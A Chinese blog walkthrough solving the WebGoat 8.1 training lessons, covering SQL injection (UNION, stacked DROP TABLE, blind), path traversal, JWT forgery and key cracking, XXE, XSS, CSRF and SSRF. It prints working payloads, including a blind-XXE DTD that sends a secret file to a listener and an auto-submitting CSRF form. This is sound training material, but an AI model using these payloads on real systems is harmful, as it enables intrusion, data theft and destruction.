webgoat _v8.1全流程通关

发布时间 2023-11-10 21:33:36作者: 让-雅克-卢梭

1.1

(A1)SQL Injection (intro)

概念

 

本课程介绍了什么是结构化查询语言(SQL),以及如何操纵它以执行开发人员原始意图之外的任务。

 

目标

 

用户将对SQL的工作原理和用途有基本的了解。

 

用户将对SQL注入有基本的了解,以及它们的工作原理。

 

用户将展示对以下内容的知识:

 

数据操纵语言(DML)、数据定义语言(DDL)和数据控制语言(DCL)

字符串SQL注入

数字SQL注入

违反CIA三要素(机密性、完整性、可用性)的知识。

 

 

 

什么是SQL?

 

SQL是一种标准化的(1986年ANSI,1987年ISO)编程语言,用于管理关系型数据库并在其中执行各种操作。

 

数据库是数据的集合。数据被组织成行、列和表,并进行索引以便更容易找到相关信息。

 

以下是一个示例SQL表格,包含员工信息,表格名为'employees':

 

员工表格

 

userid     first_name     last_name      department   salary     auth_tan

32147     Paulina   Travers   Accounting    $46,000  P45JSI

89762     Tobi Barnett   Development $77,000  TA9LL1

96134     Bob Franco    Marketing      $83,700  LO9S2V

34477     Abraham Holman  Development $50,000  UU2ALK

37648     John       Smith     Marketing      $64,350  3SL99A

一家公司在其数据库中保存员工的以下信息:唯一的员工编号、姓氏、名字、员工部门、工资和一个auth_tan。

 

每一行代表公司的一个员工。

 

通过使用SQL查询,您可以修改数据库表格及其索引结构,添加、更新和删除数据行。

 

SQL数据库语言中有三种类型的SQL命令:每种类型的命令都有可能在入侵者攻击您的数据库系统时违反不同的保护目标。

 

信息安全中的三个主要保护目标是机密性、完整性和可用性,被认为是信息安全的三个最关键的组成部分。请继续阅读下一页,了解不同类型的命令和保护目标的详细信息。

 

如果您仍然对SQL感到困惑并需要更多信息或实践,您可以访问 http://www.sqlcourse.com/ 进行交互式的免费在线培训。

 

轮到您了!

 

看一下示例表格。尝试检索员工Bob Franco的部门。请注意,您在此任务中已被授予完全管理员权限,可以在无需身份验证的情况下访问所有数据。

 

基本的sql的查询语句:select 查询的字段 from 表名 where 筛选条件 order by 分组 having 再次筛选 limit 限制一次输出数据的条数;

select department from employees where userid='96134';

SELECT department: 这部分指示数据库从'employees'表中选择'部门'列的数据。

FROM employees: 这部分告诉数据库我们要在'employees'表中执行查询。

WHERE userid='96134': 这是查询的筛选条件。它指定只选择符合条件'userid'等于'96134'的员工数据。

因此,这个查询的结果将是具有'userid'为'96134'的员工的部门信息。如果这个条件匹配了数据库中的一行记录,查询结果将返回该员工所在的部门。

 

数据操作语言(DML)

 

正如名称所示,数据操作语言处理数据的操作,并包括最常见的SQL语句,如SELECT、INSERT、UPDATE、DELETE等,用于从数据库表中请求记录的结果集(select),添加(insert)、删除和修改(update)数据库中的数据。

 

如果攻击者使用DML类型的SQL注入来操纵您的数据库,他将违反信息安全中的以下三个保护目标之一:机密性(...)和完整性(update)(只有被授权读取数据的人才能这样做)。

 

DML命令用于存储、检索、修改和删除数据。

 

SELECT - 从数据库中检索数据。

INSERT - 将数据插入表格中。

UPDATE - 更新表格中的现有数据。

DELETE - 从数据库表中删除所有记录。

示例:

 

检索数据:

 

SELECT phone

FROM employees

WHERE userid = 96134;

此语句将提供具有userid为96134的员工的电话号码。

轮到您了!

尝试将Tobi Barnett的部门更改为'Sales'。请注意,在此任务中,您已被授予完全的管理员权限,可以在无需身份验证的情况下访问所有数据。

 

 

update employees set department= 'Sales' where userid=89762;

UPDATE employees: 这部分指示数据库我们要更新名为'employees'的表格中的数据。

SET department = 'Sales': 这告诉数据库我们要将'部门'列的值设置为'Sales'。

WHERE userid = 89762: 这是筛选条件,它指定了只有符合条件'userid'等于'89762'的员工数据会被更新。

因此,这个SQL语句的作用是将具有'userid'等于'89762'的员工的部门更改为'Sales'。

 

 

数据定义语言(DDL)

数据定义语言包括用于定义数据结构的命令,特别是数据库模式,它告诉数据库数据应该如何存储。

如果攻击者使用DDL类型的SQL注入来操纵您的数据库,他将违反信息安全中的以下三个保护目标之一:完整性(alter)和可用性(drop)(只有被授权更改/删除数据的人才能这样做)。

DDL命令用于创建、修改和删除数据库对象的结构。

  • CREATE - 用于创建数据库及其对象(如表格、视图等)。
  • ALTER - 修改现有数据库的结构。
  • DROP - 从数据库中删除对象。

示例:

CREATE TABLE employees( userid varchar(6) not null primary key, first_name varchar(20), last_name varchar(20), department varchar(20), salary varchar(10), auth_tan varchar(6) );

此语句创建了第2页上给出的"employees"示例表格。

现在尝试通过向"employees"表格添加一个名为"phone"的列(varchar(20))来修改模式:

 

 

alter table employees add phone varchar(20);

ALTER TABLE employees: 这部分指示数据库我们要修改名为'employees'的表格。

ADD phone varchar(20): 这告诉数据库我们要向该表格添加一个名为'phone'的新列,该列的数据类型是varchar,最大长度为20个字符。

因此,这个SQL语句的作用是向"employees"表格添加一个新的"phone"列,该列将用于存储最多20个字符长度的电话号码信息。

 

 

1.5

数据控制语言(DCL)

数据控制语言用于创建权限,允许用户访问和操作数据库。

如果攻击者使用DCL类型的SQL注入来操纵您的数据库,他将违反信息安全中的以下三个保护目标之一:机密性(grant)和可用性(revoke)(不希望的人可能会授予自己管理员权限或撤销管理员的管理权限)。

DCL命令用于为数据库对象提供安全性。

GRANT - 允许用户访问数据库的权限。

REVOKE - 撤销通过使用GRANT命令授予的用户访问权限。

示例:

GRANT CREATE TABLE

TO operator;

此语句将给予operator角色的所有用户在数据库中创建新表的权限。

现在尝试授予名为"UnauthorizedUser"的用户组修改表格的权限:

权限控制语句语法:grant 权限 on 数据库名.表名 to 用户名;

GRANT ALTER TABLE TO UnauthorizedUser;

 

 

1.6

介绍sql注入

1.7

SQL注入的后果

1.8

SQL注入的严重性

1.9

尝试字符串SQL注入

 

代码中的查询构建了一个动态查询,就像在先前的示例中看到的那样。查询是通过连接字符串来构建的,因此容易受到字符串SQL注入的影响:

"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'";

使用下面的表单尝试检索用户表中的所有用户。您不需要知道任何特定的用户名就可以获取完整的列表。

SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '

请注意,这是一个示例,用于演示字符串SQL注入的概念。在实际应用程序中,应该使用参数化查询或其他安全措施来避免SQL注入攻击。

 

 

Smith' or '1'='1

Smith' or '1'='1 是一个典型的字符串SQL注入示例,它试图利用构建动态SQL查询的代码中的漏洞。

 

这个注入的原理:

原始查询是:

SELECT * FROM users WHERE name = 'Smith' OR '1'='1';

原始查询中的部分是用户提供的输入(在这种情况下是 Smith)。该输入通过字符串拼接的方式插入到查询中。

'1'='1' 是一个布尔表达式,它始终为真。这是因为在SQL中,单引号表示字符串,并且 '1' 表示字符串 "1",所以 '1'='1' 表示字符串 "1" 等于字符串 "1",这显然为真。

在原始查询中,使用了 OR 运算符,它的规则是只要其中一个条件为真,整个条件就为真。因此,无论 name 是否等于 'Smith',条件 '1'='1' 始终为真,因此整个查询始终返回所有用户的数据。

这就是为什么 Smith' or '1'='1 的输入可以导致查询返回所有用户数据的原因。这个漏洞使攻击者能够绕过输入验证并执行恶意的查询,可能导致数据泄露或其他安全问题。为了防止这种类型的攻击,应该使用参数化查询或其他安全措施来过滤和验证用户输入。

 

 

1.10

先看题目需要我们获得表的所有数据

"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;

分析sql语句,只是简单的拼接,而且拼接的地方是where,也就是筛选的地方,我们只需要把他们恒成立就可以了(or 1=1)而且拼接的参数是个数字型不需要闭合,不过这里如果是在Login_Count这里进行注入的话我们需要用到注释符(#或者--+)将后面的语句进行一个注释.

 

 

 

 

 

 

题目已给的sql语句"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan =

分析sql语句,也是普通的拼接,但是这里是用单引号包住参数(字符型)所以我们注入的时候需要用单引号进行闭合,而正常拼接的时候参数后会拼接一个单引号,我们也需要进行闭合如:'or '1'='1这样的语句可以进行闭合。

 

 

1.12

题目让我们对表进行修改数据,我们需要用update语句的话这里需要用到堆叠注入。

堆叠注入:堆叠注入允许攻击者在同一输入点多次注入恶意代码,以扩大攻击范围或达到不正当访问数据的目的。应用程序的开发人员需要谨慎处理用户输入并实施适当的安全措施,以防止堆叠注入攻击。

先查询总表

 

知道字段名和信息开始构造语句

lusuo';update employees set SALARY=999999999 where USERID=37648--+

 

lusuo' 是一个字符串,它以单引号结尾,似乎是用于结束原始查询的字符串。

update employees set SALARY=999999999 where USERID=37648 这部分是恶意的SQL代码,它试图更新一个名为"employees"的表中的"SALARY"字段,将其设置为999999999,同时只更新"USERID"为37648的行。

--+ 是SQL注释,它用于注释掉原始查询之后的任何内容

 

1.13

题目要求我们删掉名为"access_log"的表,记录了您的所有操作!

在SQL中,要删除表格,通常使用DROP TABLE命令,具体语法如下:

 

DROP TABLE table_name; 

其中:

 

DROP TABLE 是命令的关键字,用于指示删除表格。

table_name 是要删除的表格的名称。

所以这题解法和上题类似。

Lusuo’; DROP TABLE access_log--+

Lusuo'; 是一个字符串,可能是为了终结原始查询而插入的,以及为了在注入的SQL语句中正确闭合前面的字符串。

DROP TABLE access_log 是恶意注入的一部分,意图删除名为access_log的表。

--+ 是SQL注释,用于注释掉原始查询之后的任何内容,以确保恶意注入不会导致语法错误。

SQL Injection (advanced)

在使用UNION时要记住的规则:

 

每个语句中选择的列数必须相同。

第一个SELECT语句中第一列的数据类型必须与第二个(第三个、第四个等)SELECT语句中

第一列的数据类型相匹配,其他列也适用相同规则。

SQL Injection (advanced)

2.3

 

获取当前表所有信息得到的没有密码

使用union 查询配合规则

 

1' union select 1,user_name,password,'1','2','3',4 from user_system_data--+

需要知道原始查询的字段数量,这通常通过使用ORDER BY子句进行测试来确定。在这个情况下,字段数量是7。

需要了解输出的数据类型,以确保注入的内容与先前泄露的表的列数据类型匹配。

 

2.5

登录框找不到注入点,在注册这里找注入点.

因为有提示所以尝试使用布尔型盲注

username_reg=tom'and+1=1--+   #User {0} already exists

username_reg=tom'and+1=2--+   #User tom'and 1=2--+ created 可以使用

猜测密码的字段名password passwd pwd都有可能

username_reg=tom'and length(password)>0--+   #User {0} already exists 猜中了

 

接下来是爆破密码substr是在password字段的第几位取几个字母

username_reg=tom'and substr(password,1,1)=''--+

字典用的是大小写a-z 线程3(太高会报错) ,手动改substr()里面的第二个参数

 

 

 

最后爆破出来的结果:thisisasecretfortomonly

2.6

预备语句和语句之间的区别是什么?

 

解决方案:解决方案4:语句具有值,而不是预备语句

以下哪个字符是变量的占位符?

 

解决方案:?

预备语句如何比语句更快?

 

解决方案:解决方案2:预备语句由数据库管理系统编译一次,等待输入,并以这种方式进行预编译。预备语句如何防止SQL注入?

 

解决方案:占位符可以防止用户的输入附加到SQL查询中,从而分离代码和数据。

如果一个恶意意图的人在一个带有预备语句的注册表单中写入:Robert); DROP TABLE Students;--,会发生什么?

 

解决方案:解决方案4:数据库会注册'Robert' ); DROP TABLE Students;--'。

Dcbcd

SQL Injection (mitigation)

3.5

// 创建数据库连接

Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);

 

// 创建预备语句

PreparedStatement ps = conn.prepareStatement("SELECT status FROM users WHERE name = ? AND mail = ?");

 

// 设置参数值,防止 SQL 注入

ps.setString(1, name);

ps.setString(2, mail);

 

// 执行查询

ResultSet resultSet = ps.executeQuery();

 

// 处理查询结果,这里需要根据实际需求进行处理

if (resultSet.next()) {

    String status = resultSet.getString("status");

    // 进一步处理用户状态

} else {

    // 处理未找到用户的情况

}

 

// 关闭资源

resultSet.close();

ps.close();

conn.close();

 

3.6

 

代码的分解:

String name = "admin";:设置要查询的用户名。

try { ... } catch (Exception e) { ... }:使用异常处理机制来捕获任何数据库连接或查询中的错误。

Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);:创建数据库连接。

PreparedStatement ps = conn.prepareStatement("select * from users where name=?");:创建预备语句,其中 ? 将稍后用用户名替换。

ps.setString(1, name);:将用户名参数设置为 "admin"。

ResultSet result = ps.executeQuery();:执行查询并获取结果集。

System.out.println(result.next());:输出查询结果是否存在,如果存在则为 true,否则为 false。

如果数据库中存在名为 "admin" 的用户,它将打印 true,否则打印 false 或 "Oops, Something went wrong!",具体取决于是否发生了异常。

 

3.9

 

 

先输入

1'or 1=1--+

1'or/**/1=1--+

提示说空格不能使用,我们使用+或者/**/代替空格

 

 

使用union联合注入

1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--+

 

3.10

Input validation alone is not enough!!

 

一样过滤了空格先用/**/代替空格 回显提示有sql语句or/and和空格不允许

使用union查询发现执行的sql语句中select和from被直接去掉了,试一试双写绕过。
1'/**/union/**/selselectect/**/1,user_name,password,'1','2','3',4/**/frfromom/**/user_system_data--+

 

堆叠查询
1'/**/;/**/seselectlect/**/user_name,password/**/frfromom/**/user_system_data;--+

 

3.12

试图找到 webgoat-prd 服务器的 IP 地址,猜测完整的 IP 地址可能会花费太长时间,所以我们为你提供了最后一部分:xxx.130.219.202

输入ip进行提交发送到intruder进行区间爆破

 

 

上传字典

 

进行爆破即可得104

 

4.2

Path traversal

 

 

随意上传文件显示路径fullname

 

使用../目录遍历即可

 

4.3

过滤了../可以使用双写绕过…/./test

 

 

4.4

在上传文件时,发现文件被上传到服务器,似乎与完整名称字段无关,因为上传的文件名未更改。因此,可以尝试抓包并直接修改文件名。修复此漏洞的方法不涉及完整名称字段。再次执行相同的任务,看看是否可以绕过已实施的修复措施。

 

抓包修改../绕过即可成功

 

4.5

抓包一张图

重放请求

回应包上的URL带有id=3参数

把参数放到url请求中

发现其请求的参数会拼接一个后缀.jpg

那我们自己构造文件名即可

直接传入参数id=../path-traversal-secret

 

 

 

 

当直接传递参数 id=../path-traversal-secret 时,服务器返回的响应中包含了 "非法字符" 的错误信息。为了绕过这个问题,可以尝试对参数进行编码,例如使用URL编码,将参数转换为 id=%2e%2e%2fpath-traversal-secret,以期成功绕过服务器对非法字符的检测和限制。这种方法可以帮助我们访问所需的资源而不触发服务器的安全机制。

发现id=%2e%2e%2fpath-traversal-secret回应400 可能在上一层中

id=%2e%2e%2f%2e%2e%2f path-traversal-secret即可

 

最后提交用户名的sha-512 哈希值即可

 

 

 

(A2) Broken Authentication

Authentication Bypasses

1.2

提示2016的一个漏洞的操作能成功绕过

账号密码随意输入然后burp suite抓包后把securityquestion0和securityquestion1给删了发现没还是错误。

在观察参数时,发现直接删除问题参数传递并不是一个有效的方法。我们可以专注于观察参数的命名规则,这些参数通常会有特定的编号。尝试修改这些编号以便成功提交请求。

 

 

1=1永真即可绕过验证

2.4

这个任务涉及重置投票计数,其中包括更换用户身份并使用代理burp suite进行抓包查看token值,以点击“垃圾桶”图标来执行投票数的删除操作。

这项任务要求对JWT(JSON Web Token)的前两个部分进行解码,具体操作包括进行base64解码,并注意在拼接JWT时补充等号,因为JWT在拼接时不包含等号,需要手动添加。

该令牌采用HS512加密算法,我们将此算法更改为"none",表示不再进行加密,然后对令牌进行base64编码。

 

 

eyJhbGciOiJub25lIn0

eyJhbGciOiJub25lIn0

eyJpYXQiOjE2OTcwMDUzODksImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0=

解码后修改为ture再进行编码。

 

eyJpYXQiOjE2OTcwMjA1NDQsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ

把两段替换进去

第三段没有加密所以不需要send即可

 

2.5爆破密钥

有密码验证的地方就会有爆破,不过JWT的密钥爆破需要一定的前提条件:

  • 已知JWT使用的加密算法
  • 已知一段有效的、已签名的token
  • 签名使用的密钥是弱密钥(可以爆破出来)

(1)已知一段JWT,进行解密得到加密算法为HS256,并且该用户为Tom

你需要修改JWT令牌中的账户信息为"WebGoat",然后重新加密并提交。由于JWT的第三部分是通过对header和payload进行base64编码,并使用秘钥进行哈希得到的,所以你需要破解秘钥来完成这个任务。

 

我们使用

jwt_tool来进行爆破
python jwt_tools.py <jwt> -C -d 字典

 

 

python3 jwt_tool.py eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY5ODExMDQyNCwiZXhwIjoxNjk4MTEwNDg0LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.c-rubPlPZlUPbO__ZZkKagwxL0wS-MUXKbtl3R8LLpg -C -d jwtboom.txt

jwtboom.txt 是爆破字典

参数-C表示对JWT进行压缩,以缩短字节长度。

参数-d指定了一个字典文件jwtboom.txt,该文件包含用于尝试破解JWT的可能密钥列表。

 

 到jwt解密https://jwt.io/#debugger-io

使用python time库输出当前纪元时间(一般要修改大些不然时间不够)

 

 

 

 输入即可过关

 

 

2.7Refreshing a token

1、先找到已经失效的token,点assignment的here连接里面就可以看到

 

点击checkout抓包会提交一个refresh jwt的post请求查看提示缺少Authorization头部字段,因此只需要对jwt进行修改即可

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ

解码得

{"alg":"None"} => eyJhbGciOiJOb25lIn0=

后来的根据获得的时间进行修改

{"iat":1526131411,"exp":1697008500,"admin":"false","user":"Tom"}=》eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTY5NzAwODUwMCwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ==

第二段是有效期验证,iat(Issued At)是指令牌生成的时间戳,而exp(Expiration Time)则表示令牌的失效时间。exp字段的修改可用于调整令牌的有效期。这些时间戳是根据计算机时间纪元自1970年以来的秒数计算的,因此需要获取当前时间戳。在这里,我将借助Python的time库来进行时间计算:

 

 

2.8

Final challenges

最后的挑战,这题需要实现在jerry账户里删除tom账户,正常情况下只能自己删除自己的账户,要跨账户实现删除就只能盗用token(伪造)

点击delete进行抓包

发现jwt进行解密

 

该题存在的安全问题是SQL注入漏洞,攻击者可以通过构造特定的输入参数,在没有做字符串过滤和转义的情况下,将恶意代码注入到SQL查询语句中,从而获取敏感信息或者执行恶意操作。

 

具体来说,在这个例子中,源代码中接收HTTP头信息中的kid值,并直接将它作为SQL查询语句的参数传入,攻击者可以利用这个漏洞构造包含SQL注入代码的kid值,注入任意SQL命令,比如删除Tom的账户等操作。

进行sql注入"lusuo' UNION select 'ZGVsZXRl' from INFORMATION_SCHEMA.SYSTEM_USERS --", ZGVsZXRl是delete base64编码密钥进行联合注入UNION: UNION 关键字用于将两个或多个 SELECT 语句的结果合并在一起。

 

select 'ZGVsZXRl' from INFORMATION_SCHEMA.SYSTEM_USERS: 这里构造了一个子查询,从 INFORMATION_SCHEMA.SYSTEM_USERS 表中选择一个名为 'ZGVsZXRl' 的列。目的是获取用户表的列名,并将其添加到原始查询结果中。

 

--: 这是SQL注释标记,以确保注入的代码不会破坏原始查询语句的语法

Exp和用户名需要进行修改伪造。

 

 

进行提交可得

 

3.2

根据提示重置密码发邮箱到用户

 

 

密码就是用户名倒着写

 

3.4

题目说没有保护机制也就是可以无限次尝试直接生成两个字典一个存储可尝试的名字一个存储颜色进行爆破

 

 

 

3.6

 

重置密码发送到自己用户名的邮箱webwolf中接收

 

重置密码界面有用户标识符

 

 

右键进行重发请求

 

 

 

 

更改密码为tom

 

 

(A3) Sensitive Data Exposure

3.2、

 

 

按照提示打开抓包工具bp即可看到未加密的账号密码

(A4) XML External Entities (XXE)

输入评论打开burp suite进行抓包

 

 

 

注意到我们正在传递评论内容使用XML,因此我们可以编写DTD以进行内部实体注入

<?xml version="1.0"?>

<!DOCTYPE comment [

<!ENTITY root SYSTEM "file:///">

]>

<comment>

  <text>&root;</text>

</comment>

<?xml version="1.0"?>: 这是XML声明,指定了XML的版本。

 

<!DOCTYPE comment [ ... ]>: 这是DOCTYPE声明,它定义了XML文档的文档类型和可用的实体。在这里,它定义了一个名为"comment"的文档类型,并包含在方括号内的DTD(文档类型定义)。

 

<!ENTITY root SYSTEM "file:///">: 这是DTD中的实体声明。它定义了一个名为"root"的实体,它使用SYSTEM关键字指定一个文件路径,这里的路径是"file:///",表示文件系统的根目录。这意味着这个实体将尝试引用整个文件系统的内容。

 

<comment> ... </comment>: 这是XML文档的主要部分,包含一个名为"comment"的元素。

 

<text>&root;</text>: 在"comment"元素内部,有一个名为"text"的元素,其中包含了一个对"root"实体的引用。这意味着它尝试在"comment"中插入"root"实体的内容,即文件系统的根目录。

 

1.7

和上题一样提交抓包分析包

内容是用json进行传递

篡改头部为xml即可

 

 

 

 

 

 

1.11

 

Blind XXE assignment

对评论进⾏抓包,数据类型为xml,且存在XXE注⼊漏洞⻛险

在这个任务中,我们只需要在我们的WebWolf服务器上创建一个恶意DTD(文档类型定义),然后通过远程调用这个恶意DTD,将目标文件上传到我们的WebWolf服务器

先创建一个恶意dtd文件

 

 

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % file SYSTEM "file:///root/.webgoat-8.1.0//XXE/secret.txt">

<!ENTITY % send "<!ENTITY &#37; test SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">

%send;

 

 

上传到webwofl服务器抓包发送

<?xml version="1.0"?><!DOCTYPE foo [

 

<!ENTITY % dtd SYSTEM "http://192.168.1.3:9090/files/user01/a.dtd">

 

 %dtd;

 

%test;

 

]>

 

<comment>  <text>hgj</text></comment>

 

 

将%20替换成空格提交即可过关

(A5) Broken Access (Control)

Observing Differences & Behaviors

1.3

点击查看属性抓包进行发包可以看到隐藏的属性

 

1.4

题目要求给出使用不同的路径或方法来查看自己的个人资料上一题有userid可以尝试

WebGoat/IDOR/profile?userId=2342384

失败了可能直接是个文件名对应用户

WebGoat/IDOR/profile/2342384

 

 

1.5

这题要求查看他人信息,因为都是又userid标识一个用户从url解码也可以看到是userid

 

所以可以进行爆破userid

打开bp点击view profile进行抓包

发送到intruder选择usrid。

进行爆破,区间101个数字爆破。

 

 

 

Userid就是2342388

第二个view profile

更改buffalo bill 也就是userid 2342388的资料

进行改包

 

多点几次forward

 

将brown修改为red点击forward即可

 

2.2

火狐浏览器右键检查或f12快捷键

检查代码可以发现

Users

Config

 

2.3

根据提示利用上一题的隐藏菜单

使用get方法请求

GET webgoat/user

 

将Content-Type设置为"application/json",可以欺骗服务器,使其认为正在发送JSON格式的数据

 

 

(A7) Cross-Site Scripting (XSS)

Cross Site Scripting

什么是XSS?

 

跨站脚本攻击(也常被称为XSS)是一种漏洞/缺陷,它结合了以下几个方面:允许将HTML/脚本标签作为输入,并在渲染到浏览器时没有进行编码或过滤。

 

跨站脚本攻击(XSS)是最普遍且最具破坏性的Web应用安全问题。

 

尽管对于这种攻击有一个简单而广为人知的防御方法,但在Web上仍然存在许多实例。在修复这个问题方面,覆盖修复措施也往往是一个问题。稍后我们将详细讨论防御措施。

 

XSS具有重大影响

 

特别是随着“富互联网应用程序”越来越普及,通过JavaScript链接的特权函数调用可能会受到威胁。如果没有适当保护,敏感数据(例如您的身份验证Cookie)可能会被窃取并用于他人目的。

 

快速示例:

 

从浏览器(Chrome、Firefox)的开发者工具中的JavaScript控制台执行以下代码:

alert("XSS Test");

alert(document.cookie);

任何返回给客户端的数据字段都有可能受到注入攻击:

<script>alert("XSS Test")</script>

试一试!使用Chrome或Firefox:

 

打开第二个选项卡,并使用与当前页面相同的URL(或者在这个WebGoat实例中的任何URL)。

 

然后,在第二个选项卡中打开浏览器的开发者工具,然后打开JavaScript控制台。输入alert(document.cookie);。

 

 

 

1.7Try It! Reflected XSS

点击purchase,发现有电话号码的输入框有回显

 

尝试输入<script>alert('I win this game')</script>,告警弹出

 

 

1.10识别DOM-Based XSS的潜在风险

打开开发者工具,来到sources,在WebGoat文件夹下找到js文件夹,

搜索route,得到下图3个结果,重点查看GoatRouter.js,点开之后,继续搜索route,发现有个定义路径的地方,有个test的路径,后面跟着param参数

 

在GoatRoute.js中搜一下testRoute在哪里,发现testRoute把参数扔到lessonController的testHander( )里面去了

 

打开lessonController.js,找一下testHandler,发现它又把param扔到lessonContentView的showTestParam( )里面去了

 

打开lessonContentView.js,搜索showTestParam,直接把参数输出到页面了

 

所以本题答案就是:start.mvc#test

1.11 Try It! DOM-Based XSS

直接构造payload:

http://127.0.0.1:8080/WebGoat/start.mvc#test/%3Cscript%3Ewebgoat.customjs.phoneHome()%3C%2Fscript%3E

WebGoat/start.mvc:这是WebGoat应用程序的路由。

#test/:这是路由的一部分,指示要访问的特定功能或页面。

%3Cscript%3Ewebgoat.customjs.phoneHome()%3C%2Fscript%3E:这是一个经过URL编码的JavaScript代码片段。它实际上是<script>webgoat.customjs.phoneHome()</script>的编码版本。

通过在URL中注入这个编码的JavaScript代码片段,利用DOM-Based XSS漏洞来执行webgoat.customjs.phoneHome()函数。这个函数可能会执行一些敏感操作,或者向攻击者发送数据。

打开开发者工具,进入控制台,找到flag

 

 

答案43124

 

A9

P5

 

 

1.12Exploiting CVE-2013-7285 (XStream)

这道题目是要求我们直接输入xml文档,然后将联系人添加到联系人数据库中,我去网上查了一下,发现CVE-2013-7285是一个1.1.40版本存在一个远程代码执行漏洞,也就是说我们可以将语句插入标签中,比如<contact>8888</contact>等

在框里使用<contact></contact>标签,内容输入123456789

 

A8:2013

Cross-Site Request Forgeries

点击“提交查询”,发现有三个属性

host表示请求的目的地,包括域名和端口号

origin表示请求是从哪发起的,包括协议、域名、端口号

referer表示当前页面的来源完整地址,包括协议、域名、查询参数

 

然后用burpsuite抓包,将referfer头去掉,得到flag

 

Falg:2214

p4

用burpsuite抓包

 

将referer修改为www.baidu.com,然后点击刷新,通关

 

 

p7

将以下这段html代码保存为7.html

<html>

<script> <!-- 这个script是用来自动提交表单的 -->

window.onload = function() {

document.getElementById("submit").click();

}

</script>

<body>

<form class="attack-form" accept-charset="UNKNOWN" id="csrf-feedback" method="POST" preparedata="feedback" action="http://192.168.101.16:8222/WebGoat/csrf/feedback/message" contenttype="application/json" ENCTYPE="text/plain">

<input type="hidden" name='{"name": "WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!' value='"}'>

<input id="submit" type="submit" value="Submit request" style="display:none"/>

</form>

</body>

</html>

把7.html上传到webwolf,点击右边的link,得到flag

 

p8

根据题意,在已登录账户的情况下,再登录新账户。即一台电脑上浏览同一个网站同时登录多账户(攻击者的账户会隐藏起来)

(1)本次测试的浏览器登录账户为xxxyyy

(2)开启新的浏览器访问WebGoat

(3)新浏览器创建账号并登录

(4)csrf-xxxyyy账号点击“Solved!”按钮,完成

Server-Site Request Forgery

P2

右键检查,搜索image,将Tom改为Jerry

 

p3

依题意将value值改成http://ifconfig.pro即可